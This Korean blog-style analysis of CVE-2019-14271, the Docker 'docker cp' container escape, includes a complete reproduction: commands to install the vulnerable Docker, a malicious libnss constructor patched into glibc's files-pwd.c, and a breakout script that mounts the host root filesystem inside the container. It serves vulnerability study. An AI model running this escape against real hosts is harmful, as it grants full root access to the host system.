개요

CVE-2019-14271 취약점은 19.3.0 이전의 도커에서 docker cp 명령어가 악용되는 경우 완전한 컨테이너 탈출이 가능한 취약점이다.

 

Docker CP 명령어

Docker cp 명령은 컨테이너 간의 파일 복사뿐만 아니라 호스트와 컨테이너 간의 파일 또한 복사가 가능하다.

구문의 사용 방법은 유닉스의 cp 명령과 매우 유사하다.

 

만약 컨테이너 내부의 파일을 호스트 OS 경로로 복사하고 싶다면 아래와 같은 명령을 사용하면 된다.

docker cp [복사할 파일] [복사할 경로]
root@ubuntu:~/test# docker cp my_container:/var/log logs
root@ubuntu:~/test# ls
logs
root@ubuntu:~/test# ll logs
total 284
drwxr-xr-x 3 root root   4096 Nov 29 18:04 ./
drwxr-xr-x 3 root root   4096 Jan 31 04:28 ../
-rw-r--r-- 1 root root   4508 Nov 29 18:07 alternatives.log
drwxr-xr-x 2 root root   4096 Nov 29 18:07 apt/
-rw-r--r-- 1 root root  64549 Nov 29 18:04 bootstrap.log
-rw-rw---- 1 root root      0 Nov 29 18:04 btmp
-rw-r--r-- 1 root root 166148 Nov 29 18:07 dpkg.log
-rw-r--r-- 1 root root   3232 Nov 29 18:04 faillog
-rw-rw-r-- 1 root root  29492 Nov 29 18:04 lastlog
-rw-rw-r-- 1 root root      0 Nov 29 18:04 wtmp

 

컨테이너에서 호스트로 파일을 복사하기 위해 Docker는 docker-tar 라는 프로세스를 사용한다.

docker-tar 프로세스가 수행되는 과정은 다음과 같다.

 

① Host에서 수행된 docker-tar 프로세스는 chrooting을 통해 root가 컨테이너의 파일시스템을 가리키도록 변경한다.

② cp 명령으로 요청한 파일 및 디렉터리를 바뀐 root(/proc/docker-tarPID/root)에 저장하고, tar 파일로 묶어 저장한다.

③ 해당 tar 파일을 Docker 데몬으로 전달하는데, 이 때 도커 데몬은 호스트의 지정 디렉터리에 tar 파일을 풀어 저장한다.

 

CVE-2019-14271 취약점 소개

Docker는 Golang으로 작성되는데 특히 Go v1.11로 컴파일된 Docker의 경우에 embedded C code(cgo)를 포함한 패키지들이 동적으로 공유 라이브러리를 로딩한다. 이 패키지는 docker-tar 프로세스에 의해 사용되며 런타임 중  libnss_*.so 라이브러리를 로딩한다.

 

일반적으로 라이브러리는 Host 파일 시스템에서 로딩되지만, docker-tar에 의해 컨테이너로 chroot되면서, 컨테이너 파일 시스템으로부터 라이브러리를 로딩하도록 바꾼다. 즉, docker-tar는 컨테이너에 의해 생성되고 관리되는 코드를 로딩하고 실행한다.

 

위에서 설명한 docker-tar 프로세스는 컨테이너화 되지 않고, 모든 root 기능과 함께 호스트 네임스페이스에서 실행되기 때문에 docker-tar 프로세스 과정 중에 컨테이너에서 로딩되는 libnss_*.so 라이브러리에 코드를 삽입할 수 있다면 호스트에 대한 전체 루트 액세스 권한을 얻어서 컨테이너 탈출 공격으로 악용할 수 있다.

 

CVE-2019-14271 취약 환경

취약점을 구현하기 위한 기본 환경은 다음과 같다.

구분 내용 비고
Host OS Ubuntu 18.0.4  
Container Image ubuntu:bionic-20190912.1  
Docker 19.0.3  
glibc glibc-2.27 libnss 라이브러리를 포함하는
GNU C 라이브러리

 

CVE-2019-14271 취약점 PoC

취약점 재현 순서는 다음과 같다.

① 취약 버전 Docker 설치

② 컨테이너 구축

③ glibc를 다운로드하여 libnss 소스 파일에 공격 구문 삽입 후, 컴파일

④ 컴파일한 취약 libnss 라이브러리를 컨테이너 libnss로 교체

⑤ docker cp 명령을 수행하여 취약 컨테이너 내부의 파일을 Host 경로로 복사

⑥ docker-tar 프로세스가 chroot 되어 libnss 라이브러리를 로드하면서 Host 루트 권한 탈취

⑦ 컨테이너 탈출 성공

 

이제 차례대로 취약점 환경 구성 및 재현을 해보자.

 

1. glibc 컴파일을 위한 패키지를 다운받고, 취약 버전의 Docker를 설치한다.

# apt install curl build-essential gawk bison -y

# curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

# echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
 
# apt update


# apt install docker-ce=5:19.03.0~3-0~ubuntu-bionic docker-ce-cli=5:19.03.0~3-0~ubuntu-bionic -y

 

2. 컨테이너 이미지를 다운받은 뒤, 백그라운드로 실행한다.

# docker pull ubuntu:bionic-20190912.1
# docker image tag ubuntu:bionic-20190912.1 cve
# docker run -dt --name cvetest cve

 

3. glibc를 다운받고 nss 라이브러리를 구성하는 files-pwd.c 파일에 공격 구문을 삽입 후 컴파일 하고, payload 디렉토리로 취약 파일(libnss_files-2.27.so_changed)을 옮겨준 뒤, 최종 악성 실행파일인 breakout 파일을 작성한다.

# wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.gz
# tar xvf glibc-2.27.tar.gz
# gedit /root/Desktop/cve-2019-14271/glibc-2.27/nss/nss_files/files-pwd.c
# mkdir glibc-build
# cd glibc-build
# ../glibc-2.27/configure --prefix=/root/Desktop/cve-2019-14271/changed_lib
# make
# make install

# mkdir /root/Desktop/cve-2019-14271/payload
# cd /root/Desktop/cve-2019-14271/payload
# gedit breakout // create
# cp /root/Desktop/cve-2019-14271/changed_lib/lib/libnss_files-2.27.so ../../payload/libnss_files-2.27.so_changed
----- files-pwd.c(origin) -----
/* User file parser in nss_files module.
   Copyright (C) 1996-2018 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#include <pwd.h>

#define STRUCTURE passwd
#define ENTNAME pwent
#define DATABASE "passwd"
struct pwent_data {};

/* Our parser function is already defined in fgetpwent_r.c, so use that
   to parse lines from the database file.  */
#define EXTERN_PARSER
#include "files-parse.c"
#include GENERIC

DB_LOOKUP (pwnam, '.', 0, ("%s", name),
   {
     if (name[0] != '+' && name[0] != '-'
 && ! strcmp (name, result->pw_name))
       break;
   }, const char *name)

DB_LOOKUP (pwuid, '=', 20, ("%lu", (unsigned long int) uid),
   {
     if (result->pw_uid == uid && result->pw_name[0] != '+'
 && result->pw_name[0] != '-')
       break;
   }, uid_t uid)
----- files-pwd.c(changed) -----

/* User file parser in nss_files module.
   Copyright (C) 1996-2018 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#include <pwd.h>

#define STRUCTURE passwd
#define ENTNAME pwent
#define DATABASE "passwd"
struct pwent_data {};

/* Our parser function is already defined in fgetpwent_r.c, so use that
   to parse lines from the database file.  */
#define EXTERN_PARSER
#include "files-parse.c"
#include GENERIC

#include <stdbool.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
#include <stdio.h>
 
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged(void);
 
__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break[2];
     if (!is_priviliged())
           return;
 
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     //fprintf(log_fp, "switched back to the original libnss_file.so");
 
     if (!fork())
     {
 
           // Child runs breakout
           argv_break[0] = strdup("/breakout");
           argv_break[1] = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child
 
     return;
}
bool is_priviliged(void)
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

DB_LOOKUP (pwnam, '.', 0, ("%s", name),
   {
     if (name[0] != '+' && name[0] != '-'
 && ! strcmp (name, result->pw_name))
       break;
   }, const char *name)

DB_LOOKUP (pwuid, '=', 20, ("%lu", (unsigned long int) uid),
   {
     if (result->pw_uid == uid && result->pw_name[0] != '+'
 && result->pw_name[0] != '-')
       break;
   }, uid_t uid

 

files-pwd.c 파일에 삽입된 악성 코드의 내용은 다음과 같다.

① run_at_link() 함수는 프로세스에 위해 로드될 때 라이브러리 초기화 함수로 실행된다.

② 먼저 is_priviliged() 함수를 통해 run_at_link()가 docker-tar 프로세스로 실행되는지를 확인한다.

③ docker-tar 프로세스가 실행되었다면 취약한 libnss는 이미 로드되었으므로 원래의 라이브러리 파일로 교체해준다.

④ 사전에 작성된 breakout 스크립트 파일을 실행한다.

----- breakout -----

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evi

 

breakout 파일의 내용은 다음과 같다.

① /host_fs 디렉토리를 만든다.

② 컨테이너의 /proc 디렉토리에 Host의 /proc 파일 시스템을 마운트한다.

현재 작업 디렉토리를 Host의 root 파일 시스템으로 변경한다.

④ 컨테이너의 /host_fs 디렉토리에 Host의 root 파일 시스템을 마운트한다.

 

4. 취약 libnss 라이브러리 파일(libnss_files-2.27.so_changed)과 breakout 파일을 컨테이너로 옮기고, 컨테이너 파일 시스템에 존재하는 original libnss 파일을 복사해준다.

# docker cp breakout cvetest:/
# docker cp ./payload/libnss_files-2.27.so_changed cvetest:/
# docker exec -it cvetest /bin/bash

$ cp lib/x86_64-linux-gnu/libnss_files.so.2 /original_libnss_files.so.2
$ cp libnss_files-2.27.so_changed /lib/x86_64-linux-gnu/libnss_files.so.2

 

5. Host OS에서 docker cp 명령을 수행하여 취약 컨테이너 내부의 파일을 Host 경로로 복사한다.

# docker cp cvetest:/root/.profile .

 

6. docker-tar 프로세스가 chroot 되어 libnss 라이브러리를 로드하면서 Host 루트 권한 탈취하면서 컨테이너 내부에 /host_fs 디렉터리 Host 파일 시스템을 마운트하고 "Hello from within the container!"라는 문구가 적힌 evil 파일을  생성한 것을 확인할 수 있다.

# cat /evil
Hello from within the container!

$ cat /host_fs/evil
Hello from within the container!

 

CVE-2019-14271 공격 성공 조건

① Host OS에는 Go v1.11로 컴파일된 취약한 버전의 도커(19.3.0)가 설치되어 있을 것

② 컨테이너 파일 시스템에 libnss 라이브러리에 악성 코드가 삽입되어 있을 것

    > 공격자가 컨테이너 내부 파일 시스템에 접근하여 라이브러리 파일을 교체하는 경우

    > 컨테이너가 공개 레파지토리(docker hub)에 업로드된 악성 컨테이너 이미지로 구축된 경우

③ Host OS에서 Docker cp 명령을 이용해 취약한 컨테이너 내부 파일을 로드할 것 

 

CVE-2019-14271 취약점 패치

Docker 19.3.1 버전으로 패치가 되었으며, 패치 내용은 다음과 같다.

Go 패키지로부터 임의의 함수를 호출하는 docker-tar의 초기화 함수를 수정하였으며, 이로 인해 docker-tar가 container에서 chroot 하기 전에 libnss 라이브러리를 로드하게 되며, 호스트의 파일 시스템으로부터 로드한다.

 

결론

이 취약점은 runC 취약점 이후 완전하게 컨테이너 탈출에 성공한 취약점이다. 이 취약점은 Docker 사용자의 cp 명령어 에러를 문의하면서 발견되었다. 아마 제보자가 docker cp명령을 사용했는데 docker-tar 프로세스가 컨테이너 파일시스템에 있는 libnss 라이브러리 파일을 제대로 읽지 못해서 에러가 발생했던 것으로 보인다. 생각해보면 꽤 황당한 취약점이었지만 만약 우연하게 제로데이 취약점을 찾고자 하는 경우에는 오픈소스 버그 제보를 참고하는것도 꽤 좋을 것 같다. 

복사했습니다!